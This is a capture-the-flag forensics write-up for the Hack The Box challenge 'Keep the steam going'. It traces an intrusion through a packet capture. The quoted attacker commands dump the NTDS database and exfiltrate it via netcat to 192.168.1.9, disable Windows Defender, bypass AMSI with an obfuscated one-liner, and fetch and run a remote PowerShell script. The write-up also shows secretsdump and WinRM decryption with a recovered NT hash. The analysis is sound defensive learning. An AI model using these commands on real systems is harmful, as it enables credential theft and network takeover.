HTB • Keep the steam going
Keep the steam going is a hard forensics challenge created by thewildspirit on Hack the Box that involves the inspection of a packet capture to pinpoint malicious traffic. Along the way we deobfuscate a powershell script, recover NTDS secrets, and decrypt WinRM traffic.
The network in which our main source of steam is connected to, got compromised. If they managed to gain full control of this network, it would be a disaster!
Initial Capture Analysis
We’ll first open the capture file in Wireshark and filter by HTTP traffic. We immediately find a request to http://192.168.1.9/rev.ps1
.
We find a powershell script being served over HTTP
Although the script is obfuscated using several different methods, parts of it are readable. We suspect this is a reverse shell script though because of the general length as well as the descriptive variable names such as stream, sendback, and client.
Reverse Shell
As we manually deobfuscate some of the content from that powershell script, we discover that the script connects back to 192.168.1.9 on port 4443. Let’s check the packet capture for TCP traffic over this port.
We inspect the plaintext reverse shell session
The adversary sends a series of commands to seemingly exfiltrate the NTDS database along with the SYSTEM registry hive. This is presumably done in order to extract authentication secrets offline and establish persistence.
1 2 3 4 5 6 7 whoami;hostname ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q iex (New-Object System.Net.WebClient).DownloadFile("http://192.168.1.9/n.exe","C:\Users\Public\Music\n.exe") certutil -encode "C:\temp\Active Directory\ntds.dit" "C:\temp\ntds.b64" certutil -encode "C:\temp\REGISTRY\SYSTEM" "C:\temp\system.b64" cat C:\temp\ntds.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080 cat C:\temp\system.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
The adversary uses certutil.exe
to encode the files, then n.exe
(probably netcat), to transport the files over TCP port 8080.
Exfiltration
Let’s check for traffic over port 8080 in our capture file in order to extract ntds.b64
and system.b64
.
The adversary encodes & downloads some goodies
TCP Streams 23 and 24 should be ntds.b64
and system.b64
respectively. with this in mind let’s export both streams then decode the contents.
1
2
for n in ntds system; do grep -v '-' $n.b64 | base64 -d > $n; done
file ntds system # make sure they are properly formatted
Now that the recovered files are in the correct format, we follow the tracks by using secretsdump.py
from impacket to extract some secrets we could potentially use to decrypt certain communications in the capture file.
1
2
mkdir secrets
secretsdump.py local -history -ntds ./ntds -system ./system -outputfile ./secrets/export
We can now access the extracted secrets in ./secrets/
if we need to.
WinRM
Back at the packet capture, we filter out the traffic sent after the exfiltration over port 8080 using the filter frame.number > 21346
. This will allow us to better see what actions the adversary took after stealing the NTDS secrets.
Looking for actions taken by the adversary after reading the NTDS secrets
It looks like the attacker then used the NT hash for the user Administrator to connect to the machine via WinRM. The request body in each post-authentication request seems to be encrypted and labeled “application/http-spnego-session-encrypted”. After some research into encrypted WinRM exchanges, we come across this gist created by Jordan Borean.
Decryption
using the python script mentioned earlier, we are able to decrypt the WinRM traffic using the NT hash for the user Administrator.
1
python3 winrm_decrypt.py -n "8bb1f8635e5708eb95aedf142054fc95" capture.pcap > decrypted.txt
Now decrypted.txt
contains a bunch of XML that we filter through using some GNU utilities.
1
2
3
4
grep -Ei 'command|argument' decrypted.txt # Found tags rsp:Command, rsp:Arguments
grep -i '<rsp:Arguments>' decrypted.txt |
sed -E 's/.*>(.*)<.*/\1/g' |
base64 -d > arguments.bin # Save arguments
Looking at the arguments.bin
file, there seems to be powershell code within the <S N="V">
tags. Every other command is (get-location).path
, which is probably not manually run by the adversary but rather a product of their WinRM shell.
1
2
3
4
strings arguments.bin |
grep -i '<S N="V">' |
sed 's/^\s*<S N="V">//' |
grep -v '^(get-location).path$'
1 2 3 4 5 6 whoami;hostname sc stop WinDefend Set-MpPreference -DisableRealtimeMonitoring $true [Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) echo "[REDACTED]" iex (new-object net.webclient).downloadstring('http://192.168.1.9/drop.ps1')
It seems that the adversary disables Windows defender, bypasses AMSI, and executes a remote powershell script in memory. In between the last two commands, we can also find the flag.